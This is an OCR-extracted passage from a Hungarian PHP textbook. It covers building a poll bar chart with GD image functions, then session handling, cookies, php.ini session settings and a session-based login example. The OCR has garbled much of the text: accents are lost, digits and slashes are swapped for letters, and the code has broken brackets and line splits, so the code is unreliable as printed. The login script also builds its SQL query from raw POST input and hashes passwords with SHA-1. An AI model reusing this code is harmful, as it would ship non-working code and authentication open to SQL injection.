A msodik rtk a rajzvszon magassga:
$magassag = $jeloltek_szama
Ez az

rtk alapveten

az

* ($oszlop_magassaga + $oszlopok koze} + 50;

oszlopok magassga s az oszlopok kztti trkz sszegnek az oszlopok szmval val szorzata,

plusz nmi hely a cmnek. A 3. kdrszletet a 22.5.3 mintakdban talljuk.


22.5.3 pldakd: eredmenyek _megjelenitese.php

A 3. rsz a diagramot kszti el az adatok hozzadsra

/*******************************************
Alapkp belltsa

*******************************************/
ll res rajzvszon ltrehozsa
$kep = imagecreatetruecolor($szelesseg,$magassag};

ll Sznek kivlasztsa
$feher=imagecolorallocate($kep,255,255,255};
$kek=imagecolorallocate($kep,0,64,128};
$fekete=imagecolorallocate($kep,O,O,O);
$rozsaszin = imagecolorallocate($kep,255,78,243};

$szoveg_szine = $fekete;
$szazalek_szine
$hatterszin

$fekete;

Sfeher;

$vonalszin = $fekete;
$oszlop_szine

$kek;

$szamok_szine

Srozsaszin;

ll "rajzvszon" ltrehozsa a rajzolshoz


imagefilledrectangle($kep,O,O,$szelesseg,$magassag,$hatterszin};

ll Krvonal rajzolsa a rajzvszon kr

22

346

22. fejezet

imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin);
ll Felirat hozzadsa
$felirat =

'A szavazs eredmnye';

$felirat_meretei = @imagettfbbox($felirat_merete, O, $betutipus, $felirat);


$felirat_hossza = $felirat_meretei[2] - $felirat_meretei[O];
$felirat_magassaga

abs($felirat_meretei[7] - $felirat_meretei[l]);

$felirat_vonal felett = abs($felirat_meretei[7]);


$felirat_x = ($szelesseg-$felirat_hossza)l2;
$felirat_y = ($y - $felirat_magassaga)l2

ll x szerint kzpre igazts

$felirat_vonal_felett;

ll y szerint u.a.

imagettftext($kep, $felirat_merete, O, $felirat_x, $felirat y,


$szoveg szine, $betutipus, $felirat);
ll Alapvonal rajzolsa kicsivel az els oszlop felett kezdve,
ll kicsivel az als alatt befejezve
imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);

A 3. rszben belltjuk a kp alapjait, kivlasztjuk a szneket, majd elkezdjk rajzolni a diagramot.


A grafikon httert az
imagefilledrectangle($kep,O,O,$szelesseg,$magassag,$hatterszin);

22

fggvnnyel tltjk ki.


Az imagefilledrectangle () fggvny,ahogy paramtereibl is ltszik, sznnel kitlttt htteret rajzol. Az els param
ter-ahogy azt mr megszokhattuk-a kp azonostja. Ezt kveten a tglalap kezd- s vgpontjnak x s y koordint:ijt
kell megadnunk. Ez a kt pont a tglalap bal fels,illetve jobb als sarknak felel meg. Jelen esetben a teljes rajzvsznat kiclt
jk az utols paramterben radott httrsznnel {pldnkban fehrrel).
Ezutn az
imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin);

fggvnyt meghvva fekete krvonalat rajzolunk a rajzvszon szle kr. Ez a fggvny kitlts nlkli, krvonallal rendel
kez tglalapot rajzol. Paramcerei megegyeznek az elbb ltott msik fggvnyveL Figyeljnk fel arra,hogy a tglalapot
a $szelesseg-l s $magassag-l koordintig rajzoljuk-egy $szelesseg szlessg s $magassag magassg rajz
vszon idig tart. Ha a $szelesseg s $magassag koordintj pontig rajzolnnk a tglalapot,az kvl esne a rajzvsznon.
Ugyanazt a logikt kvetjk, s ugyanazokat a fggvnyeket hasznljuk, mint amikor az elz kdrszletben kzpre igaz
tottuk s a diagramra rtuk annak feliratt.
Vgezetl az albbi fggvnnyel megrajzoljuk az oszlopok alapvonalt:
imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);

Az imageline () fggvny a $vonalszin vltozban meghatrozott szn vonalat rajzol a megadott kpen {$kep) an
nak kt koordintja,jelen esetben a {$x, $y-5 ) s a {$x, $magassag-15 ) pont kztt.
Pldnkban az alapvonalat kicsivel az els oszlop fltt kezdjk meg, s egy kicsivel a rajzvszon alja fltt r vget.
Kszen llunk arra, hogy betltsk az adatokat a diagramba. A kd 4. rszlett a 22.5.4 pldakdban talljuk.
22.5.4 pldakd: eredmenyek_megj eleni tese. php-A 4.

rsz berajzalja a diagramra az eredmnyeket, s befejezi a kppel

vgzett munkt
/*******************************************
Eredmnyek berajzolsa a diagramra
*******************************************/
ll Adatok kiolvassa az adatbzisbl s a megfelel oszlopok megrajzolsa
while ($sor = $eredmeny->fetch_object())
if ($osszes szavazat > 0)
$szazalek

intval(($sor->szavazatok_szamal$osszes szavazat)*lOO);

else
$szazalek

O;

Kpek ellltsa

347

ll szzalkos rtk megjelenitse


$szazalek_meretei

@imagettfbbox($nagy_meret,

O,

$betutipus,

$szazalek.'%');

$szazalek_hossza = $szazalek_meretei[2] - $szazalek_meretei[O];


imagettftext($kep,

$nagy_meret,

O,

$szelesseg-$szazalek_hossza-$szoveg_behuzasa,

$y+($oszlop_magassagal2),

$szazalek szine,

$betutipus,

$szazalek. '%');

ll az rtkhez tartoz oszlop hossza


$oszlop_hossza =$x + ($szazalek * $oszlop egyseg);
ll az rtkhez tartoz oszlop megrajzolsa
imagefilledrectangle($kep,

$x,

$y-2,

$oszlop_hossza,

$y+$oszlop_magassaga,

$oszlop_

szine);
ll az rtkhez tartoz felirat megjelenitse
@imagettftext($kep,

$nagy_meret,

$szoveg_szine,

O,

$szoveg_behuzasa,

$betutipus,

$y+($oszlop_magassagal2),

"$sor->jelolt");

ll 100%-ot mutat krvonal berajzolsa


imagerectangle($kep,

$oszlop_hossza+l,

$y-2,

($x+(l00*$oszlop_egyseg)),

$y+$oszlop_magassaga,

$vonalszin);

22

ll szmok megjelenitse
@imagettftext($kep,

$kis_meret,

0,

$x+(100*$oszlop_egyseg)-50,

$y+($oszlop_

magassagal2),
$szamok_szine,

$betutipus,

$sor->szavazatok_szama. 'l' .$osszes szavazat);

ll tovbblps a kvetkez oszlopra


$y=$y+($oszlop_magassaga+$oszlopok_koze);

/ *******************************************
Kp megjelenitse
******************************************* /
Header('Content-type:

imagelpng');

imagepng($kep);

/ *******************************************
Erforrsok felszabadtsa
******************************************* /
imagedestroy($kep);

?>
A 4. rsz egyenknt vgigmegy az adatbzisban szerepl jellteken, kiszmrja a rjuk adott voksok szzalkos rtkr, majd
megrajzolja az oszlopokat s a hozz:ijuk tartoz feliratokat.
Megint csak az imagettftext () fggvnnyel ksztjk el a feliratokat, s az imagefilledrectangle() fggvnnyel
rajzoljuk meg az oszlopokat (amelyek kitltssei rendelkez tglalapok):
imagefilledrectangle($kep,

$x,

$y-2,

$oszlop_hossza,

$y+$oszlop_magassaga,

$oszlop_szine);

A 100

szzalkot jelz krvonalakat az imagerectangle() fggvnnyel rajzoljuk meg:

imagerectangle($kep,

$oszlop hossza+l,

$y-2,

($x+(100*$oszlop_egyseg)),

$y+$oszlop_magassaga,

$vonalszin);

Miutn az sszes oszloppal elkszltnk, az imagepng () fggvnnyel megjelentjk a kp kimenett, majd az


imagedestroy () meghvsval felszabadtjuk az erforrsokat.

348

22. fejezet

Ezt a hossz kdot knnyedn mdosthatjuk sajt ignyeinknek megfelelen, illetve hasznlhatjuk arra, hogy felhasznli
felleten keresztl automatikusan lltsunk el szavazsokat. Fontos megemlteni ugyanakkor, hogy a kd semmilyen md
szerrel nem akadlyozza meg az emberi csalst. A felhasznlk knnyen r:ijhemek, hogy jra meg jra szavazhatnak, s gy
knnyen rtelmedenn tehetik az egsz voksolst.
Hasonl megkzeltssel - s nmi matematikai rzkkel - vonal- vagy akr krdiagramokat is rajzolharunk.

Tovbbi kpkezel fggvnyek hasznlata


A fejezetben megismert fggvnyek mellett szmos msikat ignybe vehetnk a kpekkel vgzett munknkhoz. A programo
zsi nyelvekkel val rajzolshoz nem kevs idre s prblkozsra van szksg. rdemes minden esetben azzal kezdeni, hogy
vzlatot ksztnk arrl, amit rajzolni szeretnnk, majd az online kziknyvben utnanznk a kvnt eredmny elrshez
szksges fggvnyeknek.

Tovbbi olvasnival
Az interneten temrdek anyagat tallunk a tmban. Ha problmba tkznk a kpkezel fggvnyek alkalmazsa sorn,
rdemes lehet tnzni a GD dokumentcijt, mert a PHP fggvnyei ennek a knyvtrnak a burkoli (w rapper). A GD do
kumentcija a http://www.libgd.org/Documentation oldalon rhet el.
Ne feledjk azonban, hogy a GD2 PHP-s verzija az alapknyvtr mdostott vltozata, gy egyes rszletekben eltrhet
attl!

22

A grafikai alkalmazsok klnbz tpusairl kvl oktatanyagokat tallunk a Zend s a Devshed oldaln (http://www.
zend.com, illetve (http://devshed.com).
A fejezetben ltott oszlopdiagramos alkalmazs tlett a Steve Maranda ltal rt, a Devshed oldaln elrhet dinamikus
oszlopdiagram-kszt kd adta.

Hogyan tovbb?
A kvetkez fejezetben a PHP munkamenet-vezrl funkciival ismerkednk meg.

23
Munkamenet--vezrls PHP--ben
A fejezetben a munkamenet-vezrls PHP-beli mkdst ismerhetjk meg. Az albbi fbb tmakrkkel foglalkozunk:

Mi a munkamenet-vezrlsr
Stik
Munkamener belltsnak lpsei
Munkamenet-vltozk
Munkamenet s hitelests

Mi a munkamenetvezrls?
Bi2:onyra hallottuk mr a megllaptst, amely szerint a.,HTTP llapot nlkli protokoll:' Ez azt jelenti, hogy a protokoll nem
rendelkezik beptett mdszerrel a brmely kt tranzakci kztti llapot fenntartsra. Amikor valamely felhasznl lekr egy
oldalt, majd utna egy msikat, a HTTP nem teszi lehetv szmunkra, hogy megllaptsuk vajon mindkt krs ugyanattl
a

felhasznltl rkezett-e.
A munkamenet-vezrls alapgondolata, hogy adott weboldalon vgbemen egyetlen munkamenet (session) alatt kpesek

legynk nyomon kvetni a felhasznlt. Ha ezt meg tudjuk tenni, akkor egyszeren megoldhat az is, hogy a felhasznl be
jelentkezse urn a jogosultsgi szintjnek vagy szemlyes preferencijnak megfelel tartalmat jelentsk meg szmra. Figye
lemmel kvetherjk a felhasznl viselkedst, s meg tudjuk valstani pldul az online kosr funkcit.
A PHP a 4-es verzi ta natv munkamenet-kezel fllggvnyekkel rendelkezik. A szupergloblis vltozk bevezetsvel

kiss mdosult a munkamenet-vezrls megkzeltse, mivel ehhez immr a$_SESSION szupergloblis vltoz is rendelkez
snkre ll.

A munkamenet alapjai
A PHP egyedi munkamenet-azonostval (session
a

ID)

kezeli a munkameneteket. Ezt a kriptogrfiailag vletlenszer szmot

PHP lltja el, majd a kliensoldalon troldik el a munkamenet.,lettartam' alatt. Trolhar a felhasznl szmtgpn

sriknr, de URL-ekkel is tadhat.


A munkamener-azonost lehetv teszi klnleges, gynevezett munkarnenet-vltozk (session variable) regisztrlst. Ezek

rarralmt a kiszolgln troljuk, a kliensoldalrl lthat egyetlen informci a munkamenet-azonost. Ha az oldalunkhoz


trtn kapcsolds ideje alatt a munkamenet-azonost stibl vagy URL-bl elrhet, akkor az adott munkamenethez tar
toz, a kiszolgln trolt munkamenet-vltozkhoz is hozzfrnk. Ezek alaprtelmezsben egyszer fjlknt vannak trolva
a

s2:erveren. (Ha hajlandk vagyunk megrni sajt fggvnyeinket, az egyszer fjlok helyett adatbzist is hasznlhatunk; errl

bvebben a Munkamenet-vezrls belltsa cm rszben beszlnk majd.)


Minden bizonnyal tallkoztunk mr a munkamenet-azonostt az URL-ben trol weboldalakkal. Amennyiben URL-nk
vletlenszernek tn karakterlncot tartalmaz, nagy valsznsggel valamilyen munkamenet-vezrlssel llunk szemben.
A stik ettl eltr megoldst knlnak az llapor tranzakcik kztti fenntartsra, radsul az URL-ek egyszersgt is meg

rzik.

Mi astU
A sti (cookie) olyan ks informcicsomag, amit kdjaink a kliensoldali gpen trolnak. A felhasznl gpn gy llthatunk

be stit, hogy az albbi formtum adatokat tartalmaz HTTP fejlcet kldnk nek:
Set-Cookie:

NEV=ERTEK;

[domain=DOMAIN_NEV;]

[expires=DATUM;]

[secure]

[path=ELERESI UTVONAL;]

350

23. fejezet

Ez a fejlc egy NEV nev, ER TEK rtk stit hoz ltre. Az sszes tbbi paramter opcionlis. Az

expires

mezben azt

az idpontot llthatjuk be, amely utn a sti mr nem hasznlhat. (Ha nem llrunk be lejrari idpontot, a sti mindaddig
elrhet, amg a felhasznl vagy mi magunk manulisan ki nem trljk azt.) A
URL-eket llthatjuk be, amelyekre a sti vonatkozik. A

secure

path

s a

dornai n

belltssal azokat az

kulcssz azt eredmnyezi, hogy a stit nem egyszer HTTP

kapcsolaton keresztl fogjuk kldeni.


Amikor a bngsz egy URL-hez csatlakozik, elszr helyileg trolt stiket keres. Ha azok brmelyike az aktulisan hasz
nlt URL-hez ktdik, akkor visszakldi ket a kiszolglnak.

Stik belltsa PHP-bl


A stiket a setcookie () fggvnnyel sajt kezleg llthatjuk be PHP-bl. A fggvny prototpusa a kvetkez:
bool setcookie (string nev

[,

[,

string ertek

string domain

[,

[,

int lejarat

[,

string eleresi utvonal

int secure]]]]])

A paramterek egy az egyben a Set-Coo kie fejlcnl emltetteknek felelnek meg.


Ha az albbi utastssal bellrunk egy stit:
setcookie ('sajat_suti',

'ertek');

akkor, amikor a felhasznl megltogatja weboldalunk kvetkez lapjt (vagy jra betlti az aktulis oldalt),
a $_COOKIE [

'sajat_suti' l

vltozval rhetjk el a stit.

Trlni gy tudunk stit, hogy a

setcookie()

fggvnyt ugyanazzal a nvvel, de mltbeli lejrati idvel hvjuk meg.

A stiket a header () fggvnnyel is bellthatjuk, ha a fggvnyben az elbb mr ismertetett szintaktikt hasznljuk. Fon
tos, hogy a stifejlceket minden ms fejlc eltt kldjk el, msklnben nem fognak mkdni a stik. (Ez a korltozs a stik,
nem pedig a PHP mkdsbl addik.)

Stik hasznlata munkamenetekkel


A stik hasznlata a kvetkez problmkat veti fel: nem minden bngsz fogadja a stiket, illetve egyes felhasznJk kikap

23

csolhatjk ket bngszjkben. Rszben emiatt a PHP munkamenetek a sti/URL ketts mdszert hasznljk. (A mdszert
rvidesen bemutatjuk.)
PHP munkamenetek alkalmazsa esetn nem kell a stiket sajt kezleg belltani, mert a munkamenet-fggvnyek elvg
zik helyettnk a feladatot.
A session_get_cookie_params ()
tartalmr. A fggvny az elettartam,

fggvnnyel tekinthetjk meg a stinek a munkamenet-vezrls ltal belltott

eleresi_utvonal, domain

secure

elemet tartalmaz tmbt ad vissza.

A stik paramtereit a
session set_cookie_params($elettartam,
_

$eleresi_utvonal,

$domain

[,

$secure]);

fggvnnyel is bellthatj uk.

Ha szeretnnk tbbet megtudni a stikrl, olvassuk el a Netscape oldaln elrhet specifikcit: http://wp.netscape.com/
newsref/std/cookie_spec.html! (Ne foglalkozzunk azzal, hogy a dokumentum elzetes specifikcinak nevezi nmagt! Ez
1995 ta gy van, s a dokumentum ennl mr csak akkor lenne kzelebb ahhoz, hogy szabvnynak hvjuk, ha tnylegesen

szabvny volna!)

Munkamenet-a:z;onost trolsa
A PHP alaprtelmezsben munkamenetekkel hasznlja a stiket. Ha lehetsges, sti jn ltre a munkamenet-azonost trolsra.
A msik lehetsges mdszer a munkamenet-azonost hozzadsa az URL-hez. Bellthat, hogy sti ltrehozsa helyett
automatikusan ez trtnjen; ehhez be kell kapcsolnunk a ph p. ini fjlban a session.u se_ trans_sid direktvt (alapr
telmezsben ez ki van kapcsolva). Bekapcsolsval azonban vatosan kell bnnunk, mert nveli az oldal biztonsgi kockzatt.
Ha bekapcsoljuk a direktvt, a felhasznl e-mailben msoknak is elkldheti a munkamenet-azonostt tartalmaz URL-t, az
URL-t nyilvnosan elrhet szmtgp is eltrolhatja, illetve egy ilyen gp bngszjnek elzmnyei vagy knyvjelzi kztt
is elrhet lehet.
A munkamenet-azonostt manulisan is begyazhatjuk a hivatkozsokba. Az azonostt a SID konstans trolja. Manulis
tadshoz a

GET

paramterhez hasonlan adjuk hozz ezt a konstanst a link vghez:

<A HREF="link.php?<?php echo strip_tags(SID);

?>">

(A strip_tag s() fggvny fenti hasznlatval elkerlhetjk a cross-site scripting

(XXS) tmadsokat.)

Az --enable-trans-sid direktva belltsa mindazonltal ltalban egyszerbb.

Munkamener-vezrls PHP-ben

351

Egyszer munkamenetek megvalstsa


A munkamenerek alkalmazsnak alaplpsei a kvetkezk:
L Munkamener indrsa
2. Munkamener-vlrozk regisztrlsa
3. Munkamenec-vlcozk hasznlara
4. Vltozk crlse s a munkamenet megszntetse

rdemes megemlteni, hogy ezek a lpsek nem feltrlenl ugyanabban a kdban trtnnek, s van kztk olyan, amely tbb
kdban is elfordul. Vizsgljuk meg egyenknt a fenti lpseket!

Munkamenet indtsa
A munkamenechez ktd funkcik hasznlata eltt el kell indtani a munkamenetet. Krflekppen tehetjk meg ezt.
Az els s legegyszerbb mdja, ha a kdot a session_start() fggvny meghvsval indtjuk:
session start();

A fggvny ellenrzi, van-e folyamatban munkamenet. Ha nincsen, a szupergloblis $_SESSION tmbhz hozzfrst
engedve lnyegben ltrehoz egyet. Folyamatban lv munkamenet esern a session_start () fggvny beclti a regisztrlt
munkamenet-vltozkat, hogy hasznlni tudjuk ket.
Fontos, hogy a session _start ()

fggvnyt a munkamenetekkel dolgoz minden kd elejn meghvjuk. Ha ezt elmu

lasztjuk, a munkamenetben trolt informcik nem lesznek kdunk szmra elrhetk.


A munkamenet megkezdsnek msodik mdja, ha gy lltjuk be a PHP-t, hogy automatikusan munkameneret indtson
minden alkalommal, amikor ltogat rkezik

az

oldalunkra. A php.ini fjl session. a uto_start bellrsnak bekap

csalsval teherjk ezr meg; ezt a megkzeltst akkor fogjuk megvizsglni, amikor a konfigurlssal foglalkozunk majd. Ennek
a

mdszernek van egy nagy htrnya: ha az auto_start be van kapcsolva, objektumokat nem hasznlhatunk munkame

ner-vlcozknt. Ennek oka, hogy az objektum osztlydefinciit a munkamener elindtsa elre be kellene tlteni ahhoz, hogy
a munkamenetben ltrejhessenek az objektumok.

23

Munkamenetvltozk regisztrlsa
A kzelmltban megvltozott a munkamenet-vlcozk regisztrlsnak PHP-beli mdszere. A4.1-es verzi ra a munkamener
vlrozkar a$_SESSION tmb trolja. Munkamenec-vlcoz ltrehozshoz egyszeren megadjuk e tmb egy elemr, pldul gy:
$_SESSION['sajat_valtozo'] = 5;

Az gy ltrehozott munkamener-vlcoz a munkamenet vgig vagy addig hasznlhat, amg manulisan nem trljk.
A munkamenet a php. ini f:ijl session.gc_maxlifetime bellrsnak rtkrl fggerr magrl is vget rher. Ez
a

bellts hatrozza meg a munkamenet msodpercben kifejezett idtartamt; ha ez letelik, a szemcgyjt {garbage colleetor)

vget vec a munkamenecnek.

Munkamenetvltozk hasznlata
A munkamener-vltozk hatkrbe hozshoz munkamenetet kell nyitni a session_start () meghvsval. ( A harkrbe
hozsra a munkamener -vltoz hasznlhatsga miatt van szksg.) Ezr kvererr a $_SESSION szupergloblis rmbn ke
resztl rhetjk el a megfelel vltozr-pldul gy: $_ SESSION[ 'sajat_valtozo'] .
Ha objektumot hasznltunk munkamener-vlrozknt, fontos, hogy a session_start ()
az

meghvsa eltt megtrtnjen

osztly definilsa. Ezzel bizrosrjuk, hogy a PHP tisztban legyen vele: hogyan kell ltrehoznia a munkamenec-objektumor.
gyeljnk, amikor- pldul az isset() vagy empty ()

fggvnnyel-ellenrizzk, hogy a munkamener-vlrozkar

belltottlc-el Emlkezhetnk r, hogy a felhasznJk GET vagy POST mdszerrel llthatjlc be a vltozkat. A$_SESSION
tmbbel dertherjk ki, hogy egy adott vltoz vajon regisztrlt munkamener-vlroz-e.
Pldul a kvetkez mdon ellenrizhetjk ezt:
if (isset($_SESSION['sajat_valtozo'])) ...

Vltozk trlse s a munkamenet megszntetse


Ha tbb nincs szksgnk egy munkamener-vlrozra, megsznterhetjk. Megtehetjk ezt kzverlenl a$_SESSION tmb

megfelel elemnek trlsvel, pldul gy:


unset($ SESSION['sajat_valtozo']);

352

23. fejezet

rdemes megjegyezni, hogy a session_unregister()

s a session_unset ()

fggvny hasznlata immr sem nem

szksges, sem nem nlott. Ezeket a fggvnyeket a $_SESSION bevezetse eltt vehettk ignybe.
Vletlenl se prbljuk meg a teljes$_SESSION tmbt trlni, mert ezzel lnyegben kikapcsolnnk a munkameneteket!
Ha egyszerre kvnjuk trlni

a:z

sszes munkamenet-vltozt, hasznljuk a

$_SESSION = array{);

utastst!
Ha befejeztk a munkt egy adott munkamenettel, elszr trljk a:z sszes vltozjt, majd a session_destroy() ;
fggvnyt meghvva szabadtsuk fel a munkamenet azonostjt!

Egyszer plda munkamenetre


A fenti magyarzatok kicsit taln elvontnak tnhetnek, ezrt vizsgljunk meg most egy pldt! Ebben hrom, egymssal ssze
fgg oldalt hozunk ltre.
A:z els oldalon elindtjuk a munkamenetet, s ltrehozzuk a $_ SESSION ['munkamenet_valtozo' l

vltozt. A:z eh

hez szksges kdot a 23.1 pldakdban lthatjuk.


23.1 pldakd: oldal l. php- Munkamenet elindtsa s munkamenet-vltoz ltrehozsa
<?php
session start(};
$_SESSION['munkamenet_valtozo' l

= "Hell,

echo 'A$ SESSION[\'munkamenet_valtozo\'1

vilg!";
tartalma:'

.$ SESSION['munkamenet_valtozo'l .'<br />';


?>

23

<a href="oldal2.php">Kvetkez6 oldal</a>

A fenti kd ltrehozza a vltozt, s belltja rtkr. Kimenete a 23.1 brn lthat.

23.1 bra: A munkamenet-vltoznak az oldal l. ph p fjl ltal megjelentett rtke.


A vltoznak az ezen az oldalon felvett utols rtke lesz a kvetkez oldalakon elrhet. A kd vgn a munkamenet-vl
tozt szerializltuk, vagyis rtke rgztve van mindaddg, amg a session_start (} kvetkez meghvsval jbl be nem
tltjk a vltozt.
A kvetkez kdot ezrt a session_start ( ) meghvsval kezdjk. Ezt a kdot a 23.2 pldakd tartalmazza.
23.2 pldakd: oldal2. ph p- Munkamenet-vltoz elrse s megszntetse
<?php
session start(};
echo 'A$ SESSION[\'munkamenet_valtozo\'1

tartalma:'

.$ SESSION['munkamenet_valtozo'l.'<br />';
unset($ SESSION['munkamenet_valtozo'll;
?>
<a href="oldal3.php">Kvetkez6 oldal</a>

Munkamenet-vezrls PHP-ben

A session_start(} meghvsa utn a$_SESSION

[ 'munkamenet_valto zo' l

353

vltozt a korbban eltrolt rck

vel rjk el, ahogy ezt a 23.2 brn is lthatjuk.

----..-.Il

23.2 bra: A munkamenet-vltoz rtke a munkamenet-azonostval lett az oldal 2.phpfjlnak tadva.


Hasznlata utn trljk a vltozt. A munkamenet tovbbra is ltezik, a$_SESSION['munkamenet_valtozo' l

vl

toz viszont nem.

Vgl nzzk az oldal3.php fjlt, pldnk utols kdjt, amit a 23.3 pldakd tartalmaz!
23.3 pldak.d: oldal3.php -A munkamenet befejezse
<?php
session start();

echo 'A $_SESSION[\'munkamenet_valtozo\'l

tartalma:

.$_SESSION['munkamenet_valtozo'l .'<br />';

session_destroy();

?>

Miknt a 23.3 brn lthatjuk, a$_SESSION [ 'munkamenet_ valtozo' l rgztett rckt immr nem tudjuk elrni.

AS_S&SS!ONf....__"_,_

23.3 bra: A munkamenet immr nem rhet el.


A PHP egyes, a 4.3-as eltti verzii esetn hibba futhatunk, amikor megprbljuk trlni a $HTTP _SESSION_VARS vagy
a

$_SESSION tmb elemeir. Ha gy ltjuk, hogy nem tudjuk trlni az elemeket (vagyis azok belltva maradnak), rdemes

lehet a session_ unregister(}


A kdot a session_destroy ( )

fggvnnyel megksrelni ezen vltozk trlst.


meghvsval fejezzk be, hogy felszabadtsuk a munkamenet-azonostt.

Munkamenet vezrls konfigurlsa


Aphp. ini fjlunkban szmos belltsi lehetsget tallunk a munkamenetekhez. A hasznosabb belltsokat, illetve ler

sukat a 23.1 tblzat tartalmazza.


23.1 tblzat: Munkamenet-konjigurcis lehetsgek
Bellts neve

Alaprtelmezett

Hatsa

rtke
session.auto start

O (kikapcsolt)

Automatikusan elindtja a munkameneteket.

session.cache_expire

180

A gyorsttrazort munkamenetoldalak lettarcamt lltja be

(percben).

23

354

23. fejezet

Bellts neve

Alaprtelmezett

Hatsa

rtke
session.cookie domain

none

A munkamenetstiben bellrhat domaint hatrozza meg.

session.cookie lifetime

Meghatrozza, hogy mennyi ideig l a felhasznl gpn a mun


kamenet-azonostt tartalmaz sti. Az alaprtelmezerr O rtk
esetn a sti a bngsz bezrsig fog lni.

session.cookie_path

A munkamenetstiben bellthat elrsi tvonalat hatrozza

session.name

PHPSESSID

A munkamenet nevt hatrozza meg. Ez lesz a sti neve a fel

session.save handler

files

A munkamenet adatainak trolsi helyt hatrozza meg. A bel

meg.
hasznl rendszern.
ltst mdosthatjuk gy, hogy adatbzisra (database) mutasson,
m ebben az esetben st fggvnyeket kell rnunk.
A munkamenetadatok trolsnak elrsi rvonalt hatrozza

session.save_path

meg. ltalnosabban gy is fogalmazharunk, hogy a session.


save_handler

ltal kezelt s meghatrozort ments helyt ez

a paramter hatrozza meg.


session.use cookies

l (bekapcsolt)

Belltja, hogy a munkamenetek stiket hasznljanak a kliens


oldalon.

session.cookie secure

O (kikapcsolt)

Belltja, hogy a stik kizrlag biztonsgos kapcsolaton keresz


tl legyenek elkldve.

session.hash function

A munkamenet-azonostk ellltsra szolgl hash algorit

o (MD5)

must hatrozza meg. A.O" az MD5 (128 bites), az "l " pedig az

SHA-1 (160 bites) algoritmust jelenti. Ez a konfigurcis bell


ts a PHP 5-s verzijban jelent meg.

23
Hitelests munkamenet,vezrlssel
A fejezet most kvetkez, utols rszben a munkamenet-vezrlsnek egy igen fontos alkalmazsi terlett lthatjuk.
A munkamenet-vezrlst a leggyakrabban taln a valamilyen bejelentkezsi mechanizmussal hitelestett felhasznlk nyo
mon kvetsre hasznljk. A most kvetkez pldnkban ennek Iehetsgc a MySQL adatbzis segtsgvel elvgzett hitele
srst s a munkamenetek hasznlatt rvzve teremtjk meg. Ez kpezi majd a 27. fejezet projektjnek az alapjt, s ms pro
jektben is felhasznljuk majd ezt a funkcit. A 17. fejezetben ltrehozott hitelestsi adatbzist fogjuk most jbl felhasznlni.
Ennek az adatbzisnak a rszleteit a 17.3 pldakdbl idzhetjk fel.
A plda hrom egyszer kdbl ll. Az els, a hitelesites.php bejelentkezsi felletet s hitelestse knl fel a weboldal
regisztrlt tagjainak. A msodik, a cs ak_tagoknak.php kizrlag a sikeresen bejelentkezert felhasznlk szmra jelent
meg informcit. A harmadik, a ki j elen tkezes.php kddal pedig Icijelentkezhetnek a felhasznlk.
A plda mkdsnek megrtshez nzzk meg a 23.4 brt, amely a hi telesi tes.php ltal megjelentert kezdoldalt
mutatja!

t---+- w
GM..-..,.1Gomb- o-v;.a:o-iGiii&
J ac... __ i
---

23.4 bra: Mivel a felhasznl mg nincsen bejelentkezve, bejelentkezsi felletet kell szmra megjelenteni.
Az oldal bejelentkezsi felletet ad a felhasznlknak. Amennyiben bejelentkezs nlkl ksrlik meg megtekinteni a "Tagok

nak fenntartort tartalmak " -at, a 23.5 brn lthat zenetet kapjk.

Munkamenet-vezrls PHP-ben

355

Tagoknak fenntartott tartalmak


,.,
....
c.-- .. .,...

23.5 bra: A

be nem jelentkezett ltogatk nem ltha9k az oldal tarta/mt, helyette ez az zenet jelenik meg.

Ha azonban a felhasznl elszr bejelentkezik (a 17. fejezetben belltott teszt_felhasznalo felhasznli nv s


jelsz prossal), majd megprblja elrni a"Tagoknak fenntartott tartalmak" cm rszt, akkor a 23.6 brn lthat
kimenet jelenik meg bngszjben.
Nzzk meg elszr az alkalmazs kdjt! A kd nagy rszt a 23.4 pldakdban lthat hitelesites.php fjl tartal
mazza. A ksbbiekben majd lpsrl lpsre is vgigmegynk a kd mkdsn.
jelszo

_;_;,;n;---.... - ---oi:'t -
fN- .......

---..-.M'

N)itoldal
-- .......-
......
'Tap*._..Wt**

23.6 bra:

Bejelentkezs utn mr hozzfrnek aJelhasznlk a csak a tagoknak fenntartott tartalmakhoz.

23.4 pldakd: hitelesites. php-A

hitelestsi vgrehajt alkalmazs f rsze

23

<?php
session start();

if (isset($_POST['felhasznaloi_nev'])

&&

isset($_POST['Jelszo']))

{
ll ha a felhasznl megprbl bejelentkezni
$felhasznaloi_nev = $_POST['felhasznaloi_nev'];
$jelszo = $ POST['jelszo'];

$adatbazis_kapcsolat = new mysqli('localhost',

'webeshitelesites',

'webeshitelesites',

'hitelesites');

if (mysqli connect_errno())
echo 'Nem sikerlt csatlakozni az adatbzishoz:' .mysqli_connect_error();
exit();

$lekerdezes

'SELECT

FROM jogosult felhasznalak '

. "WHERE nev='$felhasznaloi_nev'"
" AND jelszo=shal('$jelszo')";

$eredmeny = $adatbazis_kapcsolat->query($lekerdezes);
if ($eredmeny->num_rows)

ll ha benne vannak az adatbzisban,

jegyezzk fel a felhasznli azonositjukat!

$ SESSION['ervenyes felhasznalo'] = $felhasznaloi_nev;

356

23.fgezet

$adatbazis kapcsolat->close();
?>
<html>
<body>
<hl>Nyitoldal</hl>
<?
if (isset($ SESSION['ervenyes felhasznalo']))

{
echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />';
echo '<a href="kijelentkezes.php">Kijelentkezs</a><br />';
else

if (isset($felhasznaloi nev))

ll ha a felhasznl megprblt,

de nem tudott bejelentkezni

echo 'Sikertelen bejelentkezs.<br />';


else

ll a felhasznl nem prblt meg bejelentkezni vagy kijelentkezett


echo 'Nincs bejelentkezve.<br />';

ll bejelentkezsi fellet megjelenitse

23

echo '<form method="post" action="hitelesites.php">';


echo '<table>';
echo '<tr><td>Felhasznli nv:</td>';
echo '<td><input type="text" name="felhasznaloi nev"></td></tr>';
echo '<tr><td>Jelszo:</td>';
echo '<td><input type="password" name="jelszo"></td></tr>';
echo '<tr><td colspan="2" align="center">';
echo '<input type="submit" value="Bejelentkezs"></td></tr>';
ech o '</table></form>';
?>
<br />
<a href="csak_tagoknak.php">Tagoknak fenntartott tartalmak</a>
</body>
</html>

A fenti kd az eddig ltottaknl kiss sszetettebb logikval mkdik, mert egyrszt megjelenti a bejelentkezshez szks
